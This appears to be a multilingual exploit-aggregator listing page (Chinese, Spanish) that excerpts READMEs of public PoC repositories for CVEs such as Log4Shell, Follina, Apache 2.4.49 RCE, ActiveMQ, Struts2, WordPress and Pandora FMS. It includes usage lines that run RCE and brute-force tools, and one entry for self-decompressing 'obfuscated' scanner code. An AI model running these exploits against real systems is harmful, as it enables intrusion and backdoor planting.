find-log4j

find-log4j 在某些位置查找存在 CVE-2021-44228 漏洞的 log4j Log4Shell...

React2Shell

React2Shell - CVE-2025-55182 & CVE-2025-66478 Autor: LAKSHMIKANTHAN K letchupkt Instagram: @letchupkt Versión: 2.0.0 Ofuscado Fecha: 2025-12-07 🚀 Inicio Rápido Ejecutar el Escáner root@kitploit: python react2shell.py ¡Eso es todo! El escáner: 1. Verificará su integridad 2. Descomprimirá el código...

CVE-2015-6637

CVE-2015-6637 PoC por Edward Hung Por favor, haga una copia de seguridad de su dispositivo mientras ejecuta el PoC https://source.android.com/security/bulletin/2016-01-01.html...

FollinaXploit

Follina Exploiter CLI Tool - Vulnerabilidad MSDT CVE-2022-30190 Una herramienta Python basada en línea de comandos para explotar la vulnerabilidad Zero-Day en MSDT Microsoft Support Diagnostic Tool, también conocida como 'Follina' CVE-2022-30190. Información : Nuevo zero-day de Microsoft Office...

Apache-HTTP-Server-2.4.49-2.4.50-Path-Traversal-Remote-Code-Execution

Apache HTTP-Server 2.4.49-2.4.50 Path Traversal y ejecución remota de código Descripción Este es un script PoC para CVE-2021-41773 y CVE-2021-42013 Uso: root@kitploit: python3 exploit.py | Ejemplo: Ejecución remota de código root@kitploit: python3 exploit.py 127.0.0.1 8080 rce 'id' Path Traversal...

nextjs-cve-2025-29927-poc

Next.js 的 CVE-2025-29927 概念验证 Next.js 中间件中的授权绕过 · CVE-2025-29927 · GitHub 安全公告 Next.js 与损坏的中间件：授权工件 - zherowebsecurity 这是什么？ 该漏洞允许绕过中间件逻辑。 src/middleware.ts： root@kitploit: // 始终阻止任何请求 export function middleware return Response.json success: false, message: 'authentication failed' , status: 401...

CVE-2019-0708-generate-hosts

CVE-2019-0708-generate-hosts 本程序使用nmap扫描3389cidrs文件里面所列的CIDR地址（每行一个），生成3389hosts文件，里面是可能的Windows开了3389远程桌面的机器IP地址，可以极大减少接下来的检测IP量。 依赖 python3、nmap 运行 将CIDR写入3389cidrs，运行./generate.py。生成的3389hosts可用来联系管理员或者继续扫描操作。...

HIK-CVE-2021-36260-Exploit

hikvisionbrute Fuerza bruta a cámaras Hikvision con el exploit CVE-2021-36260 ejecución go run src/main.go -help para obtener ayuda sobre los argumentos de ejecución ejemplo de ejecución go run src/main.go -infile ../CVE-NEW/hikvisionlist.txt.bak -threads 300 -maxtries 3 -timeout 10 -delay 2000...

CVE-2015-5119_walkthrough

CVE-2015-5119演练...

ble_norton_core

Norton Core Secure WiFi 路由器 BLE 服务命令注入 PoC CVE-2018-5234 更多信息请阅读 论文。 为了演示利用过程，我们将使用： 操作系统 GNU/Linux； 蓝牙适配器； BlueZ 工具（用于测试蓝牙连接）。 为了使用脚本，我们需要提前安装所有依赖： root@kitploit: $ pip install -r ./requirements.txt 借助 BlueZ 工具，应确保蓝牙已启用且功能正常。 1. 重启路由器以访问工程页面。 2. 以 root 用户身份启动 PoC（操作蓝牙所需），并将要执行的命令作为参数传入：...

CVE-2021-21985

此存储库没有 README。...

CVE-2021-21972

此存储库没有 README。...

CVE-2017-0199-master

CVE-2017-0199-master CVE-2017-0199...

struts2-rce-cve-2017-9805-ruby

Struts2 漏洞 - CVE-2017-9805 描述 Apache Struts2 REST 插件 XStream RCECVE-2017-9805 用法 root@kitploit: Usage: cve20179805poc.rb targeturi cmd ruby cve20179805poc.rb 127.0.0.1 ping -c 4 192.168.0.1...

CVE-2024-3400

Este repositorio no tiene un README...

wordpress_cropimage

WordPress 裁剪图片 CVE-2019-8943 一个用于WordPress裁剪图片CVE-2019-8943认证远程代码执行（RCE）的Python3脚本。它会植入一个恶意的PHP后门。 开始 执行程序 RCE root@kitploit: python3 wprce.py -t http://wordpress.rce/ -u admin -p password -m twentytwenty 帮助 查看帮助菜单： root@kitploit: python3 wprce.py -h 免责声明...

pandorafms_7.44

Pandora FMS 7.44 CVE-2020-13851 Pandora FMS 7.44 CVE-2020-13851 RCE 允许经过身份验证的用户通过事件功能实现远程命令执行。可以使用凭据或 PHP 会话 cookie 进行操作。 开始使用 执行程序 使用凭据 root@kitploit: python3 pandorafms7.44.py -t http://pwnedpandora.com/ -u username -p password -lhost 127.0.0.1 -lport 1337 使用 PHP 会话 cookie root@kitploit: python...

whisper-pair

快速配对漏洞扫描器 用于检测易受 WhisperPair 攻击的蓝牙配件的安全研究工具 🌐 WhisperPair 研究 • 📦 安装 • 🚀 使用 • 🔬 技术细节 ⚠️ 免责声明 本工具仅供授权的安全测试和研究使用。 未经明确授权测试设备可能违反当地法律。请仅测试您拥有或已获许可测试的设备。 🎯 关于 WhisperPair Google Fast Pair 支持受支持的蓝牙配件一键配对和账户同步。尽管 Fast Pair 已被许多流行消费品牌采用，但研究人员发现，许多旗舰产品并未正确实现 Fast Pair ，从而引入了一个缺陷，允许攻击者劫持设备并利用 Google...

CVE-2023-46604-ActiveMQ-RCE-pseudoshell

CVE-2023-46604 RCE 伪终端 该脚本利用 CVE-2023-46604（Apache ActiveMQ）生成一个伪终端。该漏洞源于 OpenWire 协议中的不安全反序列化，可实现远程代码执行。 描述 CVE-2023-46604 是 Apache ActiveMQ 的 OpenWire 协议中存在的一个反序列化漏洞。攻击者可利用该缺陷在运行 ActiveMQ 的服务器上执行任意代码。攻击者可以构造一个恶意 XML 文件，远程服务器将执行其中的命令。 此漏洞利用工具自动化并简化了 XML 文档的创建过程，提供基础服务器来传输文件，并通过 POST...

py-network-scanner

root@kitploit: ███╗ ██╗███████╗████████╗██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗ ██████╗ ██████╗ ███████╗██████╗ ████╗ ██║██╔════╝╚══██╔══╝██║ ██║██╔═══██╗██╔══██╗██║ ██╔╝ ██╔══██╗██╔══██╗██╔════╝██╔══██╗ ██╔██╗ ██║█████╗ ██║ ██║ █╗ ██║██║ ██║██████╔╝█████╔╝ ██████╔╝██████╔╝█████╗ ██║ ██║ ██║╚██╗██║██╔══╝...